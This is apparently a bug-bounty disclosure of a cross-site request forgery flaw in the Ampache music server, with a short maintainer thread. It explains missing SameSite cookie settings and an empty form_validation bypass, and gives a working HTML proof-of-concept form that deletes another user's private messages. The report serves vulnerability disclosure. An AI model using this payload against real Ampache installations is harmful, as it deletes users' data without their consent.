Cross-Site Request Forgery (CSRF) in ampache/ampache

Valid

Reported on

Jul 24th 2021

✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.

But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

In demo.apache.dev you don't set any SameSite attribute for your cookies. In develop.ampache.dev also you set SameSite attribute for all cookies to "Strict" that is good but for main session cookie that name "ampache" you didn't set any SameSite attribute.

Also you set a parameter that named from_validation then I put the of this parameter to nothings like this from_validation= and then I could bypass this protection too.

So in Firefox attacker can delete any message of any user With CSRF attack that users already allowed manually do it.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://develop.ampache.dev/pvmsg.php?action=confirm_delete&msgs=2" method="POST">
      <input type="hidden" name="form&#95;validation" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Here the attacker should knows the msgs parameter's value to preform attack. the parameter as I understand starting from 2 then it can be guessed easily.

💥 Impact

This vulnerability is capable delete any message of any user that have high impact on availability of user interactions.

Fix

You should set SameSite attribute to Lax and don't use Get method for writing, Or use strict if you don't want to share cookies to any third party application.

Occurrences

Session.php L1

lachlan

commented 2 years ago

Maintainer

@admin can you ping me as a maintainer for this report?

Z-Old

commented 2 years ago

Admin

Hey lachlan, I've authorised you as the maintainer of ampache, meaning you'll have rights for all future reports against ampache/ampache. Please let me know if you're still unable to view/interact with this page, thanks!